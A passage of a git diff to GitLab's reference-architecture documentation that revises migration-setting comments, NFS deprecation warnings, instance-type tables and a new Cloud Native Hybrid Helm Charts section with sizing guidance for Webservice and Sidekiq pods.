gitlab_rails['auto_migrate'] = false
```
@@ -1316,7 +1320,7 @@ To configure the Sentinel Queues server:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1401,6 +1405,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['listen_address'] = '0.0.0.0'
postgresql['max_connections'] = 200
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1546,7 +1551,8 @@ To configure the Praefect nodes, on each one:
praefect['enable'] = true
praefect['listen_addr'] = '0.0.0.0:2305'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
+ praefect['auto_migrate'] = false
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1670,8 +1676,7 @@ On each node:
alertmanager['enable'] = false
prometheus['enable'] = false
- # Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the gitlab-shell API callback URL. Without this, `git push` will
@@ -1905,6 +1910,7 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
#######################################
@@ -2015,6 +2021,7 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
## Redis connection details
@@ -2210,7 +2217,6 @@ To configure the Monitoring node:
external_url 'http://gitlab.example.com'
# Disable all other services
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_exporter['enable'] = false
@@ -2244,6 +2250,9 @@ To configure the Monitoring node:
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
+
+ # Prevent database migrations from running on upgrade automatically
+ gitlab_rails['auto_migrate'] = false
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -2338,10 +2347,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-From GitLab 14.0, technical support for NFS for Git repositories
-will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md)
-as soon as possible.
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
+[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
@@ -2349,29 +2358,145 @@ as soon as possible.
</a>
</div>
-## Cloud Native Deployment (optional)
+## Cloud Native Hybrid reference architecture with Helm Charts (alternative)
+
+As an alternative approach, you can also run select components of GitLab as Cloud Native
+in Kubernetes via our official [Helm Charts](https://docs.gitlab.com/charts/).
+In this setup, we support running the equivalent of GitLab Rails and Sidekiq nodes
+in a Kubernetes cluster, named Webservice and Sidekiq respectively. In addition,
+the following other supporting services are supported: NGINX, Task Runner, Migrations,
+Prometheus and Grafana.
Hybrid installations leverage the benefits of both cloud native and traditional
-deployments. We recommend shifting the Sidekiq and Webservice components into
-Kubernetes to reap cloud native workload management benefits while the others
-are deployed using the traditional server method already described.
+Kubernetes, you can reap certain cloud native workload management benefits while
+the others are deployed in compute VMs with Omnibus as described above in this
+page.
-The following sections detail this hybrid approach.
+NOTE:
+This is an **advanced** setup. Running services in Kubernetes is well known
+to be complex. **This setup is only recommended** if you have strong working
+knowledge and experience in Kubernetes. The rest of this
+section will assume this.
### Cluster topology
-The following table provides a starting point for hybrid
-deployment infrastructure. The recommendations use Google Cloud's Kubernetes Engine (GKE)
-and associated machine types, but the memory and CPU requirements should
-translate to most other providers.
+The following tables and diagram details the hybrid environment using the same formats
+as the normal environment above.
+
+First starting with the components that run in Kubernetes. The recommendations at this
+time use Google Cloud’s Kubernetes Engine (GKE) and associated machine types, but the memory
+and CPU requirements should translate to most other providers. We hope to update this in the
+future with further specific cloud provider details.
+
+| Service | Nodes | Configuration | GCP | Allocatable CPUs and Memory |
+|-------------------------------------------------------|-------|-------------------------|------------------|-----------------------------|
+| Webservice | 4 | 32 vCPU, 28.8 GB memory | `n1-standard-32` | 127.5 vCPU, 118 GB memory |
+| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory |
+| Supporting services such as NGINX, Prometheus, etc... | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory |
+
+Next are the backend components that run on static compute VMs via Omnibus (or External PaaS
+services where applicable):
+
+| Service | Nodes | Configuration | GCP |
+|--------------------------------------------|-------|-------------------------|------------------|
+| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` |
+| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` |
+| Redis Sentinel - Cache** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` |
+| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` |
+| Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` |
+| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` |
+| Object storage | n/a | n/a | n/a |
+
+NOTE:
+Components marked with * can be optionally run on reputable
+third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
+Components marked with ** can be optionally run on reputable
+third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+
+```plantuml
+@startuml 10k
+
+card "Kubernetes via Helm Charts" as kubernetes {
+ card "**External Load Balancer**" as elb #6a9be7
+
+ together {
+ collections "**Webservice** x4" as gitlab #32CD32
+ collections "**Sidekiq** x4" as sidekiq #ff8dd1
+ }
+
+ card "**Prometheus + Grafana**" as monitor #7FFFD4
+ card "**Supporting Services**" as support
+}
+
+card "**Internal Load Balancer**" as ilb #9370DB
+collections "**Consul** x3" as consul #e76a9b
+
+card "Gitaly Cluster" as gitaly_cluster {
+ collections "**Praefect** x3" as praefect #FF8C00
+ collections "**Gitaly** x3" as gitaly #FF8C00
+ card "**Praefect PostgreSQL***\n//Non fault-tolerant//" as praefect_postgres #FF8C00
+
+ praefect -[#FF8C00]-> gitaly
+ praefect -[#FF8C00]> praefect_postgres
+}
+
+card "Database" as database {
+ collections "**PGBouncer** x3" as pgbouncer #4EA7FF
+ card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+
+ pgbouncer -[#4EA7FF]-> postgres_primary
+ postgres_primary .[#4EA7FF]> postgres_secondary
+}
+
+card "redis" as redis {
+ collections "**Redis Persistent** x3" as redis_persistent #FF6347
+ collections "**Redis Cache** x3" as redis_cache #FF6347
+ collections "**Redis Persistent Sentinel** x3" as redis_persistent_sentinel #FF6347
+ collections "**Redis Cache Sentinel** x3"as redis_cache_sentinel #FF6347
+
+ redis_persistent <.[#FF6347]- redis_persistent_sentinel
+ redis_cache <.[#FF6347]- redis_cache_sentinel
+}
+
+cloud "**Object Storage**" as object_storage #white
+
+elb -[#6a9be7]-> gitlab
+elb -[#6a9be7]-> monitor
+elb -[hidden]-> support
+
+gitlab -[#32CD32]> sidekiq
+gitlab -[#32CD32]--> ilb
+gitlab -[#32CD32]-> object_storage
+gitlab -[#32CD32]---> redis
+gitlab -[hidden]--> consul
+
+sidekiq -[#ff8dd1]--> ilb
+sidekiq -[#ff8dd1]-> object_storage
+sidekiq -[#ff8dd1]---> redis
+sidekiq -[hidden]--> consul
+
+ilb -[#9370DB]-> gitaly_cluster
+ilb -[#9370DB]-> database
+
+consul .[#e76a9b]-> database
+consul .[#e76a9b]-> gitaly_cluster
+consul .[#e76a9b,norank]--> redis
-Machine count | Machine type | Allocatable vCPUs | Allocatable memory (GB) | Purpose
--|-|-|-|-
-2 | `n1-standard-4` | 7.75 | 25 | Non-GitLab resources, including Grafana, NGINX, and Prometheus
-4 | `n1-standard-4` | 15.5 | 50 | GitLab Sidekiq pods
-4 | `n1-highcpu-32` | 127.5 | 118 | GitLab Webservice pods
+monitor .[#7FFFD4]> consul
+monitor .[#7FFFD4]-> database
+monitor .[#7FFFD4]-> gitaly_cluster
+monitor .[#7FFFD4,norank]--> redis
+monitor .[#7FFFD4]> ilb
+monitor .[#7FFFD4,norank]u--> elb
-"Allocatable" in this table refers to the amount of resources available to workloads deployed in Kubernetes _after_ accounting for the overhead of running Kubernetes itself.
+@enduml
+```
### Resource usage settings
@@ -2379,29 +2504,31 @@ The following formulas help when calculating how many pods may be deployed withi
The [10k reference architecture example values file](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/examples/ref/10k.yaml)
documents how to apply the calculated configuration to the Helm Chart.
+#### Webservice
+
+Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_.
+Each Webservice pod will consume roughly 4 vCPUs and 5 GB of memory using
+the [recommended topology](#cluster-topology) because four worker processes
+are created by default and each pod has other small processes running.
+
+For 10k users we recommend a total Puma worker count of around 80.
+With the [provided recommendations](#cluster-topology) this allows the deployment of up to 20
+Webservice pods with 4 workers per pod and 5 pods per node. Expand available resources using
+the ratio of 1 vCPU to 1.25 GB of memory _per each worker process_ for each additional
+Webservice pod.
+
+For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources).
+
#### Sidekiq
Sidekiq pods should generally have 1 vCPU and 2 GB of memory.
[The provided starting point](#cluster-topology) allows the deployment of up to
-16 Sidekiq pods. Expand available resources using the 1vCPU to 2GB memory
+16 Sidekiq pods. Expand available resources using the 1 vCPU to 2GB memory
ratio for each additional pod.
For further information on resource usage, see the [Sidekiq resources](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#resources).
-#### Webservice
-
-Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_.
-Each Webservice pod will consume roughly 2 vCPUs and 2.5 GB of memory using
-the [recommended topology](#cluster-topology) because two worker processes
-are created by default.
-
-The [provided recommendations](#cluster-topology) allow the deployment of up to 28
-Webservice pods. Expand available resources using the ratio of 1 vCPU to 1.25 GB of memory
-_per each worker process_ for each additional Webservice pod.
-
-For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources).
-
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
Back to setup components <i class="fa fa-angle-double-up" aria-hidden="true"></i>
diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md
index 8cf9efe1d2c..7f9f284d085 100644
--- a/doc/administration/reference_architectures/25k_users.md
+++ b/doc/administration/reference_architectures/25k_users.md
@@ -17,23 +17,23 @@ full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|-----------------------------------------|-------------|-------------------------|-----------------|-------------|----------|
-| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
-| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| PostgreSQL | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 |
-| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | c5.large | F2s v2 |
-| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
-| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
-| Gitaly | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | m5.8xlarge | D32s v3 |
-| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
-| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 |
-| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
+| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| PostgreSQL | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | `m5.4xlarge` | D16s v3 |
+| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | `c5.large` | F2s v2 |
+| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS |
+| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS |
+| Gitaly | 3 | 32 vCPU, 120 GB memory | n1-standard-32 | `m5.8xlarge` | D32s v3 |
+| Praefect | 3 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
+| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | `c5.9xlarge` | F32s v2 |
+| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
```plantuml
@startuml 25k
@@ -212,11 +212,12 @@ The following list includes descriptions of each server and its assigned IP:
## Configure the external load balancer
-In an active/active GitLab configuration, you'll need a load balancer to route
+In a multi-node GitLab configuration, you'll need a load balancer to route
traffic to the application servers. The specifics on which load balancer to use
-or its exact configuration is beyond the scope of GitLab documentation. We hope
+or its exact configuration is beyond the scope of GitLab documentation. We assume
that if you're managing multi-node systems like GitLab, you already have a load
-balancer of choice. Some load balancer examples include HAProxy (open-source),
+balancer of choice and that the routing methods used are distributing calls evenly
+between all nodes. Some load balancer examples include HAProxy (open-source),
F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and
protocols needed for use with GitLab.
@@ -389,6 +390,8 @@ backend praefect
```
Refer to your preferred Load Balancer's documentation for further guidance.
+Also ensure that the routing methods used are distributing calls evenly across
+all nodes.
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
@@ -435,7 +438,7 @@ To configure Consul:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -559,7 +562,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
- # Disable automatic database migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -855,7 +858,7 @@ a node and change its status from primary to replica (and vice versa).
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Prevent database migrations from running on upgrade
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -922,7 +925,7 @@ You can specify multiple roles, like sentinel and Redis, as:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Prevent database migrations from running on upgrade
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1054,7 +1057,7 @@ To configure the Sentinel Cache server:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1119,13 +1122,8 @@ a node and change its status from primary to replica (and vice versa).
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- ```
-
-1. Only the primary GitLab application server should handle migrations. To
- prevent database migrations from running on upgrade, add the following
- configuration to your `/etc/gitlab/gitlab.rb` file:
- ```ruby
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1186,7 +1184,7 @@ You can specify multiple roles, like sentinel and Redis, as:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1318,7 +1316,7 @@ To configure the Sentinel Queues server:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1403,6 +1401,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['listen_address'] = '0.0.0.0'
postgresql['max_connections'] = 200
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1510,7 +1509,7 @@ Praefect requires several secret tokens to secure communications across the Clus
Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains
the details of each Gitaly node that makes up the cluster. Each storage is also given a name
-and this name is used in several areas of the config. In this guide, the name of the storage will be
+and this name is used in several areas of the configuration. In this guide, the name of the storage will be
`default`. Also, this guide is geared towards new installs, if upgrading an existing environment
to use Gitaly Cluster, you may need to use a different name.
Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info.
@@ -1548,7 +1547,8 @@ To configure the Praefect nodes, on each one:
praefect['enable'] = true
praefect['listen_addr'] = '0.0.0.0:2305'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
+ praefect['auto_migrate'] = false
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -1672,8 +1672,7 @@ On each node:
alertmanager['enable'] = false
prometheus['enable'] = false
- # Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the gitlab-shell API callback URL. Without this, `git push` will
@@ -1907,6 +1906,7 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
#######################################
@@ -2019,6 +2019,7 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
## Redis connection details
@@ -2214,7 +2215,6 @@ To configure the Monitoring node:
external_url 'http://gitlab.example.com'
# Disable all other services
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_exporter['enable'] = false
@@ -2248,6 +2248,9 @@ To configure the Monitoring node:
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
+
+ # Prevent database migrations from running on upgrade automatically
+ gitlab_rails['auto_migrate'] = false
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -2342,10 +2345,10 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-From GitLab 14.0, technical support for NFS for Git repositories
-will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md)
-as soon as possible.
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
+[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md
index fc0afbff194..e5418e47ca2 100644
--- a/doc/administration/reference_architectures/2k_users.md
+++ b/doc/administration/reference_architectures/2k_users.md
@@ -93,11 +93,12 @@ To set up GitLab and its components to accommodate up to 2,000 users:
## Configure the external load balancer
-In an active/active GitLab configuration, you'll need a load balancer to route
+In a multi-node GitLab configuration, you'll need a load balancer to route
traffic to the application servers. The specifics on which load balancer to use
-or its exact configuration is beyond the scope of GitLab documentation. We hope
+or its exact configuration is beyond the scope of GitLab documentation. We assume
that if you're managing multi-node systems like GitLab, you already have a load
-balancer of choice. Some load balancer examples include HAProxy (open-source),
+balancer of choice and that the routing methods used are distributing calls evenly
+between all nodes. Some load balancer examples include HAProxy (open-source),
F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and
protocols needed for use with GitLab.
@@ -284,7 +285,7 @@ further configuration steps.
# Replace APPLICATION_SERVER_IP_BLOCK with the CIDR address of the application node
postgresql['trust_auth_cidr_addresses'] = %w(127.0.0.1/32 APPLICATION_SERVER_IP_BLOCK)
- # Disable automatic database migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -385,13 +386,6 @@ are supported and can be added if needed.
## Configure Gitaly
-NOTE:
-[Gitaly Cluster](../gitaly/praefect.md) support
-for the Reference Architectures is being
-worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified
-some Architecture specs will likely change as a result to support the new
-and improved designed.
-
[Gitaly](../gitaly/index.md) server node requirements are dependent on data,
specifically the number of projects and those projects' sizes. It's recommended
that a Gitaly server node stores no more than 5TB of data. Although this
@@ -466,8 +460,7 @@ To configure the Gitaly server, on the server node you want to use for Gitaly:
alertmanager['enable'] = false
prometheus['enable'] = false
- # Prevent database connections during 'gitlab-ctl reconfigure'
- gitlab_rails['rake_cache_clear'] = false
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the gitlab-shell API callback URL. Without this, `git push` will
@@ -779,7 +772,6 @@ running [Prometheus](../monitoring/prometheus/index.md) and
grafana['admin_password'] = 'toomanysecrets'
# Disable all other services
- gitlab_rails['auto_migrate'] = false
alertmanager['enable'] = false
gitaly['enable'] = false
gitlab_exporter['enable'] = false
@@ -794,6 +786,9 @@ running [Prometheus](../monitoring/prometheus/index.md) and
unicorn['enable'] = false
node_exporter['enable'] = false
gitlab_exporter['enable'] = false
+
+ # Prevent database migrations from running on upgrade automatically
+ gitlab_rails['auto_migrate'] = false
```
1. Prometheus also needs some scrape configurations to pull all the data from the various
@@ -956,10 +951,10 @@ possible. However, if you intend to use GitLab Pages,
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-From GitLab 14.0, technical support for NFS for Git repositories
-will no longer be provided. Upgrade to [Gitaly Cluster](../gitaly/praefect.md)
-as soon as possible.
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
+[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md
index 7f7777455c2..b8d0a98a1f1 100644
--- a/doc/administration/reference_architectures/3k_users.md
+++ b/doc/administration/reference_architectures/3k_users.md
@@ -12,7 +12,7 @@ users, and then maintain uptime and access for those users. You can also use
this architecture to provide improved GitLab uptime and availability for fewer
than 3,000 users. For fewer users, reduce the stated node sizes as needed.
-If maintining a high level of uptime for your GitLab environment isn't a
+If maintaining a high level of uptime for your GitLab environment isn't a
requirement, or if you don't have the expertise to maintain this sort of
environment, we recommend using the [2,000-user reference architecture](2k_users.md)
for your GitLab installation.
@@ -26,20 +26,20 @@ For a full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|--------------------------------------------|-------------|-----------------------|----------------|-------------|---------|
-| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 |
-| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 |
-| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Gitaly | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | m5.large | D2s v3 |
-| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 |
-| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
+| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Redis | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 |
+| Consul + Sentinel | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| PostgreSQL | 3 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 |
+| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Gitaly | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 |
+| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
+| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | n1-standard-2 | `m5.large` | D2s v3 |
+| GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 |
+| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 |
| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
```plantuml
@startuml 3k
@@ -212,11 +212,12 @@ The following list includes descriptions of each server and its assigned IP:
## Configure the external load balancer
-In an active/active GitLab configuration, you'll need a load balancer to route
+In a multi-node GitLab configuration, you'll need a load balancer to route
